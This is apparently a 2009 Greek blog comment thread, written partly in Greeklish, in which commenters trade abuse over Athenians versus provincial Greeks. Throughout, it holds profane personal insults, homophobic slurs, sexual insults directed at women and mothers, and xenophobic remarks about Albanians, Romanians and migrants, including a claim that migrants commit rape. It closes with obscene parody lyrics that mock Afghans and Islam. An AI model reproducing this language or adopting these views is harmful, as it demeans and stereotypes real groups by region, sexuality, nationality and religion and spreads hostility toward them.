ΑΥΡΙΟ ΔΙΑΒΑΖΟΥΜΕ ΕΦΗΜΕΡΙΔΑ ΑΠΟΓΕΥΜΑΤΙΝΗ Κ ΤΟ ΠΡΩΙ ΒΛΕΠΟΥΜΕ ΔΗΜΗΤΡΗ ΚΑΜΠΟΥΡΑΚΗ!
Ιωάννα δηλαδή θα είσαι προσκεκλημένη στον Καμπουράκη;
Ουστ από δω παλιόβλαχοι... Κουβαλιόσαστε εδώ και μεταφέρετε τα επαρχιώτικα συμπλέγματά σας γλείφοντας κατουρημένες ποδιές για να "επιτύχετε", ή μεγαλώνετε στην Αθήνα σε αποστειρωμένα όμως οικογενειακά βλαχοπεριβάλλοντα, σε "μικρές επαρχίες", κληρονομώντας την νοοτροπία των βλάχων γονιών σας.
Αει στο διάολο χωριάτες, που έχετε και το θράσος να μιλάτε.
Ρε πανύβλακα, πόσες φορές θα πρέπει να σου πουν εδώ μέσα, οτι αυτό που περιγράφεις είναι ο επαρχιωτισμός; Ο επαρχιωτισμός του πατρινού Σπηλιωτόπουλου, του γιαννιώτη Φούσσα κλπ κλπ που ήρθαν στην Αθήνα για να δείξουν στους "φλώρους" Αθηναίους.
Αει στο διάολο βρωμόβλαχοι. Σιχάθηκα να σας βλέπω. Ο αστός χωριάτη έχει ήθος, αξιοπρέπεια, ηθική ακεραιότητα και ευρύτητα πνεύματος και δεν πουλάει το κορμί του και την ψυχή του, ούτε είναι καραγκιόζης σαν τους όμοιούς σας που προανέφερα. Κι ο αστός ηλίθιε δεν κρίνεται ούτε από τον τόπο καταγωγής ούτε από το οικογενειακό "τζάκι". Αυτά μετράνε μόνο σε κάτι χωριάτες σαν και σένα. Ο αστός κρίνεται μόνο από την πνευματική του καλλιέργεια και την ηθική του ανωτερότητα, βλάχο. Άντε χτίσε και συ το κακόγουστο αυθαίρετό σου τώρα, φάε τις επιδοτήσεις σου στα σκυλάδικα κλπ για να κάνεις ακόμα χειρότερη αυτή τη χώρα, όπως έκαναν οι καράβλαχοι γονείς σου που σε έκαναν τα ίδια σκατά με αυτούς. Άντε βλάκα.
to mouni tsi manas sou kariolh.
vre sthn periptwsh pesame.
tsirakia megalopnoa tou allou vlaka tou xatzhfwtiou...
ou sto diaoulo kariolia.
vriste oso thelete epipedatoi athinaioi. bastounoblaxoi eiste k faineste reeee...
thelete na antagwnistoume se ptryxia k hthos koritsakia??
de sas pairnei , afhste to kalytera.
apla sas milame k meis sth glwssa sas. einai h glwssa twn tarifwn ths athinas, ths omonoias k tou olybiakou.
afth katalabainete kalytera...
gia na mh xanoume k xrono dld..
ki oson afora thn teleftaia poystra...
na fygoume poioi k na pame pou re skatopousta????
eee/??
milas gia thn ellada olh kariolh
to exeis katalabei afto??
esy fysika ennoeis na afhsoume tis merikes xiliades san ki esena pousthdes tou kolonakiou , twn v. p. k ths mykonou na gamiountai amerimnoi.
ok , kane douleia sou poustrako.
ola exoun arxh k telos mono..
na to thymasai afto..
kai h rwmh...
k h polh...
k eseis syxgrones ntropes ths ellados...
ante geia poustronia.
bb
psakste ligo thn katagwgh sas na gelasoume re mounia.
pou tha to paixete k timhtes ths elladas, arxilamogia pou spoudasate me tis mizes twn pateradwn sas..
akous ekei tha poulhsete k tsabouka
kwlotrypides.
ekei pou sas pairnei re, stous stokous , anistorhtous plousious geitones sas
slavoalbania. oust k skasmos.
to eidame to epipedo sas, arketa
kairos na pate sto diaolo, na ginei tpt allo s afth th xwra.
Έλα ρε παλιοξεκόλη, ναι στην περίπτωση έπεσες. Άι πλύσου ρε χωριάτη που χεις κι άποψη. Θα μας πεις και φλώρους, βρωμοπόδαρε. Βρωμόπουστα γιδοβοσκέ, που μου χεις και πτυχίο. Από που ρε τσοπάνη; Από τη Ρουμανία; Τί πτυχίο ρε γκάτζε; Βοσκικής; Αει γαμήσου βλάχο. Η από κανα ελληνικό πανεπιστήμιο όπου η πρώτη σας δουλειά βλαχάκια είναι να οργανωθείτε στις ΠΑΣΠ και ΔΑΠ; Γιατί ρε χωριάτη; Δε σε κάνουν παρέα οι Αθηναίοι βρωμογιδοβοσκέ; Αναψε ρε καριόλη τώρα.. Έλα να μου τα πεις να με φτιάξεις βραδυάτικα. Κι έχω κι όρεξη. Πουστρίγγο..
May 22, 2009 3:33 AM
Έλα παλιοπουτανάκι, χαλάρωσε, δεν μιλάς στην ξεκωλιάρα την μάνα σου. Για ηρέμησε λίγο ψωλοπήγαδο.
Η αθάνατη ελληνική επαρχία δίνει ρεσιτάλ. Βέβαια εννοείται ότι οι άνθρωποι που μένουν σε επαρχιακές πόλεις δεν είναι όλοι έτσι, αλλά αυτους δεν τους ονομάζουμε "επαρχιώτες" με την κυριολεκτική έννοια. Επαρχιώτες (με κεφαλαίο το Ε) είναι άνθρωποι σαν τους παραπάνω σχολιαστές που δεν έχουν καθόλους τρόπους. Τα συμπλέγματα, η αγένεια, η έλλειψη λεπτότητας και καλλιέργειας κάνουν αισθητή την παρουσία τους. Αντιλαμβάνομαι ότι ορισμένοι σχολιαστές εδώ θέλουν να "κουρδίσουν" τα καημένα αυτά παιδιά, εκείνα "τσιμπάνε" και λένε τις κομπλεξικές σαχλαμάρες τους και οι υπόλοιποι γελάμε. Εγώ θα ήθελα να παρακαλέσω να μην αχολείστε με αυτά τα κομπλεξικά παιδιά και τους γράφετε διάφορα. Δεν βλέπετε ότι αδυνατούν να καταλάβουν την πλάκα και τα παίρνουν όλα πολύ στα σοβαρά; Πιστεύω μάλιστα ότι με τέτοιους ανθρώπους είναι καλύτερα να μη συζητάς καθόλου. Ούτε σοβαρά (εννοείται), ούτε και αστεία. Εσείς τους πειράζετε, αλλά εκείνοι βλέπετε ότι δεν το καταλαβαίνουν και ακολουθεί ο οχετός ύβρεων και οι εκφράσεις Τρούμπας. Αφήστε τους καλύτερα για να επιστρέψουνε στο κομψό στυλ σχολιασμού που έχει κυριαρχήσει σε αυτό το blog και ας αφήσουμε αυτά τα δυστυχισμένα παιδιά να κάνουν τη δική τους δουλειά.
May 22, 2009 3:33 AM
Δεν κερδίζεις τίποτα έτσι.
May 22, 2009 9:33 AM
Αυτό ήταν επαρχιώτική μαγκιά τώρα;
Χαλαρώστε, παλκάρουμε εδώ μέσα.
Χωριατάκο μόνο αυτά έχεις να πεις; Τί έγινε βλαχάκο, κιότεψες; Τόσες μέρες που βριζες καλόμαθες γιατί δε σ'έβριζε κανείς, ε; Σε χάλασε που φαγες τα μπινελίκια σου τώρα και μου μάζεψες τα σεντόνια ύβρεων. Μου φαίνεται ότι είσαι μεγάλη κότα τελικά. Άναψε ρε τυρόγαλο πάλι κι άρχισε τα βρισίδια να γελάσουμε.
mas eklases mia mantra twra megale..
skopos mou den htan na vrisw, alla na pw thn apopsh mou.
twra vevaia otan petagontai kariolomagakia san ki esena, xereis pws m aresei na ta gamaw.
alla ouk en tw pollw to ey, an to exeis ksanakousei pote sou vevaia...
to legan kati arxaioi athinaioi filosofoi, me tous opoious den exeis oudemia sxesh.
phgaine twra na synexiseis th koubenta soy e kanena aganakthsmeno lamogio taksitzh k na spaseis kana kathisma sto ghpedo, pou tha poulhseis k magia malaka.
oti xreiazotan na eipwthei , eipwthike....
arrivedercci megaloastoi me ta papigion apo derma katsikas,,,
xaxaxa..:)))
Καλώς το χάχα. Τι γελάς ρε σούργελο; Έτσι ωραία τη λες εσύ την άποψή σου πάντα; Πες μας κι άλλα. Είμαστε όλο αυτιά. Τί φεύγεις; Κοινό δεν ήθελες; Ας περιμένουν οι κατσίκες, δε θα πεινάσουν και τόσο. Κάτσε εδώ να μας μεταδώσεις την επαρχιώτικη σοφία σου.
Χα,χα,χα. Μα τί απόλαυση είναι οι χωριαταραίοι;
Κι όμως Helene και 12.01 να που η τακτική αυτή απέδωσε και ο βλαχάκος μαζεύτηκε. Ο κατά τα άλλα πανύβλακας ελληνικός λαός, έχει μια σοφή παροιμία: "Δώσε θάρρος στο χωριάτη να σου ανέβει στο κρεβάτι". Η ευγένεια απέναντι σε τέτοιου είδους ανεγκέφαλους επιφέρει τα αντίθετα αποτελέσματα, διότι πολύ απλά την αντιλαμβάνονται ως αδυναμία. Όσες φορές και να του έκανε κανείς παρατήρηση για τη φρασεολογία του (σε ένα blog που κανείς άλλος δε βρίζει), ο αφελής επαρχιωτάκος δεν έβαζε μυαλό γιατί φαντασιωνόταν στερεοτυπικά ότι εδώ μέσα γράφουν σχόλια άνθρωποι που κυκλοφορούν όλη μέρα με ρόμπα κράζοντας επιφωνήματα τύπου "mon Dieu". Έβριζε όμως ο αλητάκος επίτηδες, πιστεύοντας ότι προκαλεί την αισθητική τους. Όταν βρέθηκε κάποιος που τον έβρισε στα ίσα, πέρασε στη δεύτερη στερεοτυπική του αντίληψη για τους "Αθηναίους". Του σαλταρισμένου "λαϊκού", που από το άγχος του τσακώνεται όλη μέρα με ταξιτζήδες.
Και φυσικά το μεγαλύτερο πρόβλημα ενός χωρικού είναι να πιστέψει ότι κάποιος τον κοροϊδεύει, ή "τον πιάνει Κώτσο". Ο υπέρμετρος εγωϊσμός του τον κάνει να τα παίρνει όλα στα σοβαρά και να μην ανέχεται κάτι τέτοιο. Γέλασα αφάνταστα με το σχόλιο 3 γραμμών που έκανε, αντιλαμβανόμενος τη δύσκολη θέση στην οποία βρέθηκε. Από τη μια ήθελε να βρίσει πάλι με ένα σεντόνι βρισίδια, αλλά από την άλλη πίστεψε ότι αν το έκανε θα με δικαίωνε στην προσπάθειά μου να τον κουρδίσω. Χα,χα,χα.
ΥΓ. Αν και πραγματικά χαλάστηκα που αναγκάστηκα να χρησιμοποιήσω τέτοια φρασεολογία για να σε κουρδίσω επαρχιωτάκο, θεωρώ ότι είσαι πραγματική απόλαυση γιατί χειραγωγείσαι εύκολα λόγω βλακείας. Όπως καταλαβαίνεις όλο αυτό το σχόλιο γίνεται για να κουρδίσεις ξανά. Πάω στοίχημα ότι ως γνήσιος έλλην επαρχιώτης, θέλεις να έχεις πάντα την τελευταία λέξη και δεν θα αντέξεις να μην ανταπαντήσεις. Μόνο και μόνο που σκέφτομαι ότι από τη μία θα θες να απαντήσεις και από την άλλη θα αντιλαμβάνεσαι ότι αν το κάνεις με δικαιώνεις, γελάω. Χα,χα,χα. Αναψε πάλι ρε να γελάσουμε.. Έλα ρε τυρόγαλο, δώστα όλα...
ma ti psyxologa eisai re aderfe...
papapa...
den borei na sou glistrysei kaneis..
ela twra pou den vrizei kaneis alhtako,..tha se malwsw..
k mono h eirwnia k to dhthen sas axizei ena skasmo kraksimo, alla mexri ekei.
egw tha sas kanw anthrwpous??
zhste gia to image sas, sta paparia mou.
les na psaxnw koino re megale?..
na to kanw ti??...
kopadi k gidia eiste eseis , to synafi pou mantrwse o karamalhs, taise to pasok, kai anathrepse o kwstopoulos , o peri ou o logos.
eisai pio cool apo mena agoraki??
xaxa..ok. bravo...
pou sai na mhn eixes ki olous aftous pou allhloxeirokrotieste..
ante.
ekanes k ton psyxologo...evge
xekolla mono. den einai proswpiko to thema.
afth thn anisothta th thewrw koinwnika aparadekth.
exw oi vlaxoi apo thn athina loipon..na isorrophsoume ligaki.
na anasanoun ligo k oi asfyktiontes metanastes dld...oxi tpt allo...
me agaph.
Έχει δίκιο το παιδί από την επαρχία φίλε. Μπορεί να μην είναι σαν κι εμάς τους Αθηναίους, να μην έχει πάει ποτέ στο Κολωνάκι να δει πως ζει ο κόσμος, γιατί είναι επαρχιωτάκος λίγο υπανάπτυκτος και ντεμοντέ, έχει όμως ένα δίκιο. Εγώ τον τιμώ. Τον τιμώ, γιατί τα λέει έξω από τα δόντια και σε αυτό που ανέφερε για την μαζοποίηση του κόσμου στην Αθήνα είναι απόλυτα σωστός. Μπράβο του.
Συγχαρητήρια ανώνυμε, που με τα μπινελίκια σου, δια της ομοιοπαθητικής δηλαδή, επανέφερες τον ξυνογαλάκο εις την τάξη. Αρχισε να μιλάει πιο ευγενικά, να ψελίζει εκει πέρα κάτι αστείες ασυναρτησίες, αλλά τέλος πάντων να συμπεριφέρεται σαν -ας πούμε- άνθρωπος και όχι σαν χοίρος.
Αυτό ήταν ένα μάθημα πολιστισμού βλαχάκο, αν θέλεις και άλλα εδώ είμαστε....
Μπράβο στο παιδί που κάθεται στο χωριό του και δεν κουβαλιέται κι αυτός στην Αθήνα. Κατανοεί τί είναι σωστό και είναι αλήθεια αυτά που λέει. Υπάρχει φοβερή μαζοποίηση πλέον. Έχουμε γίνει ίσα κι όμοια όλοι. Τί κακό είναι αυτό; Βγήκα χθες και πήγα σε ένα μαγαζί που θεωρείται πολύ in φέτος. Στο διπλανό τραπέζι ήταν κάτι καράβλαχοι από την Κρήτη, νέοι στην ηλικία, που συνεχώς φώναζαν λέγοντας βλακείες και έχοντας μάλιστα ντοπιολαλιά. Τί ηχορύπανση και κακοποίηση της ελληνικής γλώσσας ήταν αυτή; Είχαν μάλιστα το θράσος να μας κάνουν και καμάκι, σε μένα και μια φίλη μου. Φυσικά φάγανε μια πίτα ίση με τη βλαχιά τους. Μα τί ενοχλητικοί είναι αυτοί οι επαρχιώτες όταν έρχονται στην Αθήνα. Νομίζουν ότι είναι ακόμα στο χωριό τους. Δεν μπορούν να κάτσουν εκεί; Είναι ανάγκη να έρχονται εδώ και να μας ενοχλούν;
xa xa!labrinidis o euro$$$ voleytis.poli plaka!megalos mas komikos.akomi thimountai tin crazy boy gay emfanisi toy me tanga maggiot stin diaskepsi tou simposiou tis kimis prin liga xronia.kagelo eixe meinei o arxigos giorgakis.e kalokairaki,ormones,kifines kalozoismenoi kai psoles ma pagainoerxontai.
plerone malaka lae eyrovouletes gia na ksinoun ta arxidia tous olimeris kai klanoune se kanapedes ton vrikselon.proti fora vouli xoris nomothetikes armodiotites volepse tosous.vouli xoris vouli!
8.16 esas mallon fovoume tha sas skisei ton pato o allodapos tis geitonias.asalioto kai me viasmo ama laxei.kai distixos aytoi den kathontai sta xoria tous..kai exoun akomi persotero thrasos.o kritikos tha faei ksilo,o allodapos gia ton viasmo tha exei xorigia apo ton siriza kai ton alekos koukouloflex kai ta sxinia gia tin douleia..
Φρονώ ότι στο σημείο αυτό χρήσιμο είναι να παρατεθεί το κάτωθι εδάφιο από το ανυπέρβλητο πόνημα του Ευαγγέλου Λεμπέση τιτλοφορούμενον "Η Τεράστια Κοινωνικὴ Σημασία τῶν Βλακῶν ἐν τῷ Συγχρόνῳ Βίω" - φυσικά, εμείς, όπου "βλαξ" συμπληρώνουμε και "κουτοπόνηρος στουρνοκέφαλος έλλην βλαχάκος" (εξ Αθηνών ή επαρχίας, αδιάφορο) με τα χαρακτηριστικά που τόσο εύστοχα επισημάνθηκαν παραπάνω και δεν επαναλαμβάνουμε γιά να μην κουράσουμε:
"...7. Πονηρία εἶναι ἡ ἐνεργητικὴ ὄψις τῆς καχυποψίας καὶ τὸ δεύτερον στάδιον αὐτῆς, ἤτοι ἡ δρᾶσις αὐτῆς, δρᾶσις ὅμως ζωϊκῶς ἀμυντικῆς φύσεως, διότι προϋποθέτει τὴν πνευματικὴν κατωτερότητα καὶ τὴν πνευματικὴν ἀμηχανίαν τοῦ βλακός, ὡς ζῴου ἐνστικτώδους καὶ πνευματικῶς πανικοβλήτου. Ἡ ἁπλὴ καχυποψία εἶναι ἄμυνα παθητικῆς φύσεως, καθ᾿ ὃ μὴ ἐνεργοῦσα ἐπὶ ἄλλων ἀτόμων. Ἡ πονηρία εἶναι ἄμυνα ἐνεργητικῆς φύσεως, διότι ἀποτελεῖ ἐγκεφαλικὴν ἐνέργειαν, σχηματισμὸν συλλογισμῶν καὶ συμπερασμάτων, ἀγόντων εἰς πράξεις («τὸν ἐγέλασε» κ.λπ.) καὶ συνεπῶς ἐνεργεῖ ἐπὶ ἄλλων ἀτόμων. Ἄσχετον τὸ ζήτημα τῆς βλακώδους ποιότητος τῶν συλλογισμῶν καὶ συμπερασμάτων. Ἡ χρησιμοποίησις ἤδη τῶν βλακωδῶν τούτων συλλογισμῶν καὶ συμπερασμάτων, μὲ μιὰν λέξιν τῆς πονηρῖας, χρησιμοποίησις ὅμως γενικώτερον ψυχολογικῶς ἐπιδρώσα ἐπὶ τοῦ ἄλλου ἀτόμου, ἤτοι χρησιμοποίησις αὐτῆς ἐν συνδυασμῷ μὲ στοιχεῖα κατωτάτης πνευματικῆς ὑποστάθμης (κολακεία, ψεῦδος, ρᾳδιουργία, συκοφαντία, σωματεμπορία, συμπαθὴς μορφὴ τοῦ βλακὸς ἀκόμη, ἐπίκλησις τῆς πολυτεκνίας του, προσφορὰ ἀνηθίκων καὶ εὐκόλων ὑπηρεσιῶν εἰς τὸ κολακευόμενον πρόσωπον, χαφιεδισμός, ξεσκονίσματα, τὸ «ποιεῖν τὸν καραγκιόζην», ἢ τὸν gigolot, χειροφιλήματα πρὸς τὸν «Ἐθνικὸν Κυβερνήτην», ἐκφωνήσεις λόγων, συρραφὴ κολακευτικῶν στίχων, μεταφορὰ λαχανικῶν, κλπ.
8. Ἂν ὁ βλὰξ καταφεύγει εἰς τὴν ἐπιτηδειότητα λόγω τῶν πενιχρῶν πνευματικῶν τοῦ μέσων ἐκ τῆς αὐτῆς ἐλλείψεως ἀνωτέρων πνευματικῶν μέσων ὠθεῖται καὶ πρὸς τὴν ἀπάτην. Ἀπάτη εἶναι ὡς γνωστὸν ἡ ἀποσιώπησις τῆς ἀληθείας ἢ ἡ παράστασις ψευδῶν πραγμάτων ὡς ἀληθῶν. Ἐξ αὐτοῦ τούτου τοῦ ὁρισμοῦ αὐτῆς συνάγεται ὅτι ἡ ἀπάτη δὲν ἀνάγεται εἰς τὴν εὐφυΐαν τοῦ ἀπατεῶνος, διότι πᾷς ἄνθρωπος δύναται νὰ παραστήση ψευδῶς πράγματα ὡς ἀληθῆ καὶ αὐτὸς οὗτος ὁ βλάξ, ἀλλ᾿ εἰς τὴν εὐπιστίαν τοῦ θύματος. Ὅτι λοιπὸν καταφεύγει εἰς αὐτήν, ὡς διανοητικῶς εὐκολώτερον μέσον ὁ βλὰξ ἐπειδή, στερούμενος εὐφυΐας, εἶναι ἀνίκανος νὰ μεταχειρισθῆ ἔντιμα μέσα, εἶναι αὐτονόητον, διότι ἔντιμα μέσα ὡς δυσκολώτερα, χρησιμοποιεῖ μόνον ὁ κεκτημένος πραγματικὴν ἀτομικὴν ἀξίαν. Πόθεν λοιπὸν προέρχεται ἡ εὐρέως διαδεδομένη ἀντίληψις, ὅτι ὁ ἀπατεὼν ὄχι μόνον ἀποκλείεται νὰ εἶναι βλάξ, ἀλλ᾿ ἀναγκαίως εἶναι εὐφυής, ἀντὶ τῆς ὡς ἄνω ἀναλύσεως, ἐξ ἢς ἀντιθέτως προκύπτει, ὅτι ὁ ἀπατεὼν ὄχι μόνον ἀποκλείεται νὰ εἶναι εὐφυής, ἀλλ᾿ εἶναι ἀναγκαίως βλάξ; Ἡ ἀντίληψις αὕτη προέρχεται ἐκ τῆς «θεωρίας» τοῦ βλακὸς περὶ τῆς εὐπιστίας. Εἰθισμένος ὁ βλὰξ νὰ «σκέπτεται» οὐχὶ διὰ τοῦ νοητικοῦ μηχανισμοῦ, ἀλλὰ διὰ χονδροειδῶν ἔξωθεν ἐντυπώσεων, δὲν ἐρευνᾷ τὰς αἰτιοκρατικὰς σχέσεις, ἀλλὰ περιορίζεται εἰς τὸ γεγονὸς μίας ἐπιτυχούσης ἀπάτης, γεγονὸς ἐξ οὗ καὶ μόνου συνάγει τὴν βλακείαν τοῦ θύματος καὶ τὴν εὐφυΐαν τοῦ ἀπατεῶνος. Ὅτι ἡ ἀπάτη δὲν ὀφείλεται εἰς εὐφυίαν ἀνελύθη, νομίζομεν ἐπαρκῶς. Ὅτι ὅμως ἡ εὐπιστία τοῦ θύματος ἀποτελεῖ βλακείαν, τοῦτο εἶναι ἀληθὲς μνημεῖον βλακικὴς «διανοίας» καὶ πολιτιστικῆς ὑποστάθμης. Διότι ἡ εὐπιστία ἑνὸς ἀτόμου, ὡς προϋποθέτουσα τὰ ἄλλα ἄτομα ὡς ἔντιμα καὶ συνεπῶς ὡς εὐφυά, εἶναι ἀσφαλῶς τὸ μέγιστον τῶν τεκμηρίων τῆς πνευματικῆς του ἀναπτύξεως καὶ τοῦ πολιτισμοῦ του. Ὅσον ὑψηλότερον ἐπὶ τῶν βαθμίδων τῆς εὐφυίας καὶ τοῦ πολιτισμοῦ ἵσταται ἐν ἄτομον ἢ εἷς λαός, (οἱ Εὐρωπαῖοι ἐν σχέσει πρὸς τοὺς Ἀνατολίτας) τόσον περισσότερον εὔπιστος εἶναι. Ὁ τελευταῖος τῶν βλακῶν θὰ ἠδύνατο νὰ ἐξαπατήση ἕνα Κὰντ ἢ ἕνα Μπετόβεv καὶ ὁ τελευταῖος τῶν Ἑλλήνων ἕνα Εὐρωπαῖον... Τὸ μειδίαμα τοῦ οἴκτου,τὸ ὁποῖον ρίπτουν οἱ «ἀφελεῖς κουτόφραγκοι», δημιουργοὶ τῶν πνευματικῶν ἀξιῶν καὶ ἐξουσιασταὶ τοῦ κόσμου, ἐπὶ τῶν δυστυχῶν «ἔξυπνών» της Μεσογείου καὶ τῆς Ἀνατολῆς, ἂς εἶναι καὶ ἡ τιμωρία τῶν βλακῶν καὶ διὰ τὴν «θεωρίαν» των ταύτην!..."
Καλά φίλε, ο Λαμπρινίδης με το τάγκα είναι γνωστό νούμερο. Ίδιος ο Γιωργάκης στη συμπεριφορά και τη νοοτροπία. Ένας επηρμένος αρλουμπολόγος που έχει καταπιεί μπαστούνι. Με το ΠΑΣΟΚ του Γιωργάκη θα σκάσουμε στα γέλια. Είναι γεμάτο από Λαμπρινίδηδες.
Εύγε φίλε. Πολύ εύστοχο το εδάφιο που παρέθεσες. Ο Λεμπέσης κάνει μια διαυγέστατη ανάλυση. Οι χωριάτες κάθε είδους (στη νοοτροπία) αναγνωρίζουν τον εαυτό τους σε αυτές τις σκέψεις. Είμαστε για κλάματα που οι χωρικοί και οι στενόμυαλοι σε αυτό το ελληνικό χωριό είναι τόσοι πολλοί.
oraio to arthro tou lebesi.oraio kai tou labrinidi to anagnosma.ti koino omos sindei ta dio?ektos tou profanous kai mia fotografia apo to blog tou papajohn freskia opou sibiknonei ola ta anotero.ola ta lefta o odigos i marka i mi pinakida kai o lathrometanastis sto terma deksia me to prasino.ayti einai i simerini ellada.sindiaste ta!
http://4.bp.blogspot.com/_f-3mDyreLdU/ShbmGKX3MCI/AAAAAAAAXms/Pz4GmAdgrKk/s1600-h/%CE%B5%CE%B9%CE%BA%CF%8C%CE%BD%CE%B11280.jpg
9.07 εισαι μισανθρωπος;
8:58, αν νομίζεις ότι αυτός είναι τρόπος να μιλάς σε μια γυναίκα μπράβο σου. Πράγματι είσαι άξεστος.
Τί να περιμένει κανείς από διάφορους χωριάτες. Δεν ξέρουν να μιλήσουν, δεν ξέρουν να φερθούν (επίσης, για να το φαιδρύνω λίγο, δεν ξέρουν να δέσουν έναν λαιμοδέτη ή ένα παπιγιόν). Ξέρουν μόνο να βρίζουν και να τραμπουκίζουν (και να φοράνε ιδρωμένες αμάνικες φανέλες, μυτερά σκαρπίνια και να καπνίζουν marlboro). Μπορείς να περιμένεις από δαύτους να φερθούν κομψά σε μια γυναίκα;
Με λύπη μου διαπίστωσα ότι σε ένα blog υψηλής ποιότητας κειμένων και σχολιασμού, μπήκαν ορισμένοι και το εκχυδαϊζουν. Δεν είναι τυχαίο ότι όλοι αυτοί είναι και φανατικοί υποστηρικτές της καθαρότητας της ελληνικής επαρχίας. Από όπου περνάνε, αφήνουν τα ακάθαρτα ίχνη τους βρομίζοντας και υποβαθμίζοντας κάθε τι με το οποίο ασχολούνται.
Και όμως από όλα αυτά βγαίνει και ένα θετικό συμπέρασμα. Τουλάχιστον έτσι το ερμηνεύω εγώ. Υπάρχει διείσδυση του Internet και στην ελληνική επαρχία. Ελπίζω ότι ο (γνώστης υπολογιστών απ΄οτι έχει δείξει) Ξυνόγαλος να μας κάνει την τιμή να μας μιλήσει και να μας πει την αποψή του για τον Wolfram Alpha. Θα έχει εξαιρετικό ενδιαφέρον. Ξυνόγαλε, τί πιστεύεις; Θα είναι επαναστατικός ο Wolfram Alpha; Ή πρόκειται για κόλπο του marketing;
ayti tin ora o papajohn xinei AISXRO glipsimo ston kirio vardinogianni!slourp!slououourp!!!
pantos i eyfiia tou wolfram alpha den ftanei ton titana tis skepsis aleksis tsipras!
http://www79.wolframalpha.com/input/?i=tsipras
aytos thelei poli partouza apo lathrometanastes gia na sinelthei kai na ton piasei to wolfram.ton kovo gia kamia 250 sti seira na xinoun stin ksini listosimoritiki mapa tou!
Ιωάννα που είσαι, διαβάζεις; Μήπως πήγες στο χωριό σου στην Καλαμάτα; Θα είμαι κι εγώ εκεί κοντά (είμαι κι εγώ χωριάτης στην καταγωγή). Στείλε μήνυμα αν είσαι να έρθουμε με την παρέα να σε δούμε, να σε θαυμάσουμε κοριτσάρα!!! Αλλιώς ξέρω, θα έρθω στη Βαλαωρίτου να σε βρω (αν και θα έχω αντίπαλο δέος Μολυβά, Μπουλούκους, Λυκομήτρο και, κυρίως, Παπαγιάννη)...
Ποιος είναι πιο γλοιώδης, ο Λιάγκας ο σαπιοκοιλιάς ή ο άνθρωπος μουλάρι Παπαγιάννης;
Ιωάννα = Θ Ε Α (ή θεούσα;)
Βαψομαλλιά γύρνα επιτέλους γιατί το ξεφτυλίσαμε εδώ μέσα με τις καταγωγές...Ντροπή ρε παίδες
1100
Για να καταλάβει κανείς το - δυστυχώς - χαμηλότατο επίπεδο της ελληνικής επαρχίας, αρκεί να ρίξει ένα βλέφαρο στις τοπικές εφημερίδες που βγαίνουν σε οποιαδήποτε πόλη. Από εκεί θα καταλάβει πολλά. Το επίπεδο είναι άθλιο, η αγραμματοσύνη βασιλεύει, το εντυπωσιακό γλείψιμο προς τα τοπικά στελέχη με τα οποία έχουν τακιμιάσει οι τοπικοί "εκδότες"προκαλεί ξέρασμα.
Ζω σε μια πόλη της Θεσσαλίας γιατί εδώ είναι η περουσία μου και πραγματικά ντρέπομαι για το περιβάλλον μέσα στο οποίο ζω. Κρετινισμός στο έπακρο, στενοκεφαλιά, εγωισμός, κακογουστιά. Και τα τοπικά τηλεοπτικά κανάλια στα ίδια χάλια. Βιβλία δεν διαβάζει σχεδόν κανείς, και στα τοπικά βιβλιοπωλεία αγοράζουν - όσοι λίγοι αγοράζουν - κυρίως τα εύπεπτα μυθιστορήματα του συρμού και αυτό είναι όλο. Δεν έχεις σχεδόν κανέναν να πεις μια σοβαρή κουβέντα, ενώ η παρακμή είναι εμφανέστατη κάνοντας την γενική κατάσταση αποπνικτική. Έχετε δίκιο όσοι καταφέρεστε εναντίον της ελληνικής επαρχίας. Είναι σχεδόν μια πραγματική κόλαση.
Μην το λες φίλε Θεσσαλέ. Και δημοτικό τύπο να διαβάσεις οποιουδήποτε προ-αστείου της Αττικής, το ίδιο χάλι υπάρχει. Γελάει ο κόσμος. Τα ίδια ακριβώς ισχύουν και στην Αθήνα. Κι η Αθήνα ένα μεγάλο χωριό είναι. Αυτό φωνάζουμε οι περισσότεροι εδώ μέσα, αλλά όσοι κουβαλάνε το σύμπλεγμα του "επαρχιώτη" βλέποντας με μίσος τους "Αθηναίους" αρνούνται να το καταλάβουν. Όλη η Ελλάδα τα ίδια σκατά είναι. Δυστυχώς..
Συγχαρητήρια φίλε "Θετταλέ" για την αμεροληψία σου. Έτσι είναι όπως ακριβώς τα λες. Πρέπει να σπάσει αυτό το ταμπού του γλειψίματος της επαρχιακής παρακμής και να ειπωθούν τα πράγματα με το όνομά τους. Πράγματι η ελληνική επαρχία είναι ανυπόφορη, αλλά η κυρίαρχη δημαγωγία δεν επιτρέπει αυτό να λέγεται δημοσίως. Δεν θα με ενδιέφερε και τόσο το θέμα (για να πω την αλήθεια) εάν δεν είχε επίδραση στη ζωή όλων (και στη δική μου). Αυτή η άθλια επαρχία ψηφίζει ότι χειρότερο υπάρχει και είναι υπέυθυνη, σε πολύ μεγάλο βαθμό, για την ποιότητα του πολιτικού προσωπικού που είναι αποβλακωμένο και της χαμηλότερης υποστάθμης, ακριβώς σαν και αυτούς που το εκλέγουν.
αν θυμηθεις τον αφγανο πρωκτο μου
σε περιμενω να ρθεις
με ενα τραγουδι ισλαμικο του κωλου να ρθεις ονειρο μου
το καλοκαιρι
που λαμπει το κωλοχερι
στον αφγανο πρωκτο μου να μπεις.
οοο!οοο!ααααα![κακαουνακης βογκινγκ}
τραγουδι του χατζηδακη αφιερωμενο στον πασχων μαν-τραβελι
τραγουδα η συμφωνικη του ΣΦΥΡΙΖΑ[ ψωλες στον αφγανο πρωκτο μου]
διευθυνση πρωτη φωνη γρηγκορι ψαριανο.
to palio efeteio mana poutana kegetai
kaigetai (kai ta skata stous toixous), kai to vios mas
kai i lipi (tou someriti) den legetai
kseskatonetai o irakinos adelfos mas.
afganosini afganosini!
den tha xeseis pia
10 xronous zeis stin iroini
kai trakosious se toixous me skata!
tragouda o giorgos ntralaras gia tin alileggii stis xasisofities toy afganistan!
lefteria sta oura tou efeteiou!
